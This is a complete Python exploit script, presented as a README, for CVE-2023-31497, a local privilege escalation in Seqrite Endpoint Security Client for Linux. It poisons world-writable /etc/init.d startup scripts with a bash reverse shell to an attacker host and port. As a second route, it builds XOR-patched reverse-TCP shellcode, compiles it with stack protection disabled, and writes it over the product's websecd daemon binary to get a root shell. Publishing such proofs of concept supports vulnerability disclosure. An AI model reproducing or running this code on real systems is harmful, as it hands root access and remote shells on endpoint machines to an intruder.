README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit Title: Seqrite Endpoint Security Client (<=7.6) - Local Privilege Escalation
# Date: 2023-04-08
# Exploit Author: Pinaki Mondal (@0xInfection)
# Vendor Homepage: https://www.quickheal.com
# Software Link: https://www.seqrite.com/endpoint-security/seqrite-endpoint-security
# Version: <= 7.6
# Tested on: Debian, Ubuntu
# CVE Assigned: CVE-2023-31497
# Seqrite endpoint security with its default installation installs to
# /usr/lib/Seqrite/ with very weak directory and file permissions granting any
# arbitrary user full write permission to the contents of the directory and its
# contents. In addition, the installation procedure installs its startup scripts
# to /etc/init.d/ which are world writable. This enables any low-privilege user on
# the system to escalate privileges to root.
#
# The exploit makes use of 2 different vulnerabilities to elevate privileges on the
# system. Firstly, the fact that the application uses scripts in /etc/init.d/ to start
# its scan processes which can be written to by any user. Secondly, the application
# makes use shared objects to dynamically load position-independent code during runtime.
# As a matter of fact, all of the executable shared object files are world writable.
# Lastly, the application binaries used for the daemon process are world writable
# which basically means any non-privileged user could overwrite the scan binaries
# with their own malicious executable to achieve code execution as root.
import os
import struct
import socket
import binascii
import argparse
import shutil
import subprocess
BASE_INSTALL_PATH = '/usr/lib/Seqrite/Seqrite/'
def check_installation() -> bool:
'''
Checks if the product is installed on the target machine
'''
print('[*] Trying to determine if Seqrite is installed on the system...')
if os.path.exists(BASE_INSTALL_PATH):
print('[+] Found Seqrite installation at:', BASE_INSTALL_PATH)
return True
return False
def poison_initd_scripts(host: str, port: int) -> bool:
'''
Posions /etc/init.d/ scripts installed by the installer
that the software uses for its startup daemon.
'''
startup_scripts = [
"qhclagnt",
"quickupdate",
"qhscndmn"
]
etc_initd_path = '/etc/init.d/'
bash_reverse_shell = '/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1'.format(
ip=host,
port=port
)
success_flag = False
for script_path in startup_scripts:
try:
abs_path = os.path.join(etc_initd_path, script_path)
print('[+] Confirming installation setup of file:', abs_path)
if os.path.exists(abs_path):
print('[+] Confirmed existence of file:', abs_path)
else:
print('[-] File "%s" not found. Moving on...' % abs_path)
continue
with open(abs_path, 'r') as rd_fd:
content = rd_fd.read()
print('[+] Trying to poison the startup file:', abs_path)
with open(abs_path, 'w+') as wr_fd:
wr_fd.write(content + '\n\n' + bash_reverse_shell)
success_flag = True
except Exception as err:
print('[-] Exception when injecting into {fname}: {error}'.format(
fname=abs_path,
error=err.__str__()
))
print('[+] Exploit completed.')
return success_flag
def find_xor_byte(host: bytes) -> int:
'''
Finds XOR bytes
'''
xor_byte = 0
for i in range(1, 256):
matched_a_byte = False
for octet in host:
if i == int(hex(octet), 16):
matched_a_byte = True
break
if not matched_a_byte:
xor_byte = i
break
if xor_byte == 0:
print('Fatal: Could not find a XOR byte!')
return xor_byte
def compile_exploit(exp: str, shellcode: str) -> tuple:
'''
Compiles an exploit to its C base
'''
compiled_file = "reverse_tcp_shell.bin"
gcc_bin = shutil.which('gcc')
if not gcc_bin:
print('[-] Fatal: GCC does not seem to be installed on the device. Outputting shellcode...')
return False, ''
print('[+] Shellcode generated:', shellcode)
try:
print('[+] Trying to build exploit...')
subprocess.run([
'gcc',
'-fno-stack-protector',
'-z', 'execstack',
exp,
"-o", compiled_file
])
except Exception as err:
print('[-] Fatal: Incurred error:', err.__str__())
return False, ''
print('[+] Exploit completed.')
return True, compiled_file
def poison_daemon_binaries(host: str, port: str):
'''
Posions the software's main daemon binaries used for scanning files,
web filtering, etc.
'''
reverse_tcp_shellcode = "\\x89\\xe5\\x31\\xc0\\x31\\xc9\\x31\\xd2" + \
"\\x50\\x50\\xb8\\xff\\xff\\xff\\xff\\xbb" + \
"\\x80\\xff\\xff\\xfe\\x31\\xc3\\x53\\x66" + \
"\\x68\\x11\\x5c\\x66\\x6a\\x02\\x31\\xc0" + \
"\\x31\\xdb\\x66\\xb8\\x67\\x01\\xb3\\x02" + \
"\\xb1\\x01\\xcd\\x80\\x89\\xc3\\x66\\xb8" + \
"\\x6a\\x01\\x89\\xe1\\x89\\xea\\x29\\xe2" + \
"\\xcd\\x80\\x31\\xc9\\xb1\\x03\\x31\\xc0" + \
"\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf6" + \
"\\x31\\xc0\\x31\\xd2\\x50\\x68\\x2f\\x2f" + \
"\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89" + \
"\\xe3\\xb0\\x0b\\xcd\\x80"
ip = socket.inet_aton(host)
print(ip.__repr__())
bytex = find_xor_byte(ip)
shellc = reverse_tcp_shellcode.replace(
"\\xb8\\xff\\xff\\xff\\xff",
"\\xb8\\x{z}\\x{z}\\x{z}\\x{z}".format(
z=binascii.hexlify(struct.pack('B', bytex)).decode()
)
)
newip = [
binascii.hexlify(struct.pack(
'B',
int(hex(ip[i]), 16) ^ bytex
))
for i in range(0, 4)
]
shellc = shellc.replace(
"\\xbb\\x80\\xff\\xff\\xfe",
"\\xbb\\x{shiftx1}\\x{shiftx2}\\x{shiftx3}\\x{shiftx4}".format(
shiftx1=newip[0].decode(),
shiftx2=newip[1].decode(),
shiftx3=newip[2].decode(),
shiftx4=newip[3].decode()
)
)
portc = hex(socket.htons(int(port)))
shellc = shellc.replace(
"\\x66\\x68\\x11\\x5c", "\\x66\\x68\\x{shiftx1}\\x{shiftx2}".format(
shiftx1=portc[4:6],
shiftx2=portc[2:4]
)
)
shellcode_exec = ''
shellcode_outfile = 'shellcode_exec.c'
with open('shellcode.c', 'r') as rf:
shellcode_exec = rf.read() % shellc
with open(shellcode_outfile, 'w+') as wf:
wf.write(shellcode_exec)
success, filex = compile_exploit(
exp=shellcode_outfile,
shellcode=shellc
)
if success:
print('[+] Exploit compiled.')
else:
print("[-] Exploit compilation failed. Aborting...")
quit()
print('[+] Overwriting /usr/lib/Seqrite/Seqrite/websecd binary...')
shutil.copyfile(filex, os.path.join(BASE_INSTALL_PATH, 'websecd'))
print('[+] Exploit completed.')
def print_choice() -> str:
'''
Choices for the exploit path
'''
return input('''
Select privesc technique:
1. Daemon controller /etc/init.d/ scripts posioning
2. Overwriting daemon binaries (requires GCC installed)
Enter choice #> ''')
def main():
'''
Wraps up the exploit strategy
'''
print('''
EPSCALATE - PoC for privesc in Seqrite EPS (CVE-2023-31497)
~ 0xInfection
''')
parser = argparse.ArgumentParser(
prog=os.path.basename(__file__),
usage='%s -H <host>:<port> <technique_flag>' % os.path.basename(__file__),
)
parser.add_argument(
'-H',
'--hostport',
dest='hostport',
help='The IP and port of the listening attacker machine in format of <ip>:<port>'
)
parser.add_argument(
'-B',
'--daemon-binaries',
dest='ob',
action='store_true',
help='Overwrite the main daemon binaries to escalate privileges.'
)
parser.add_argument(
'-I',
'--initd-scripts',
dest='init',
action='store_true',
help='Posion /etc/init.d/ bash startup scripts with a reverse shell to escalate privileges.'
)
args = parser.parse_args()
if not args.hostport:
print('[-] No host:port supplied. Please specify one.')
parser.print_help()
quit()
elif ':' not in args.hostport:
print('[-] Fatal: No host and port combination supplied. Please check input.')
parser.print_help()
quit()
inputx = 0
if not args.init and not args.ob:
print('[-] No technique flag used, switching to interactive.')
inputx = print_choice()
if not check_installation():
print('[-] Failed to find Seqrite installation directory. Aborting...')
quit()
if args.init or inputx == '1':
poison_initd_scripts(
host=args.hostport.split(':')[0],
port=args.hostport.split(':')[1]
)
elif args.ob or inputx == '2':
poison_daemon_binaries(
host=args.hostport.split(':')[0],
port=args.hostport.split(':')[1]
)
else:
print('[-] Unimplemented option:', inputx)
print('[#] You can wait for the reverse shell to trigger when the AV reloads/the machine reboots.')
print('[#] Make sure to initate a listener on the attacker machine at the specified host:port!')
if __name__ == '__main__':
main()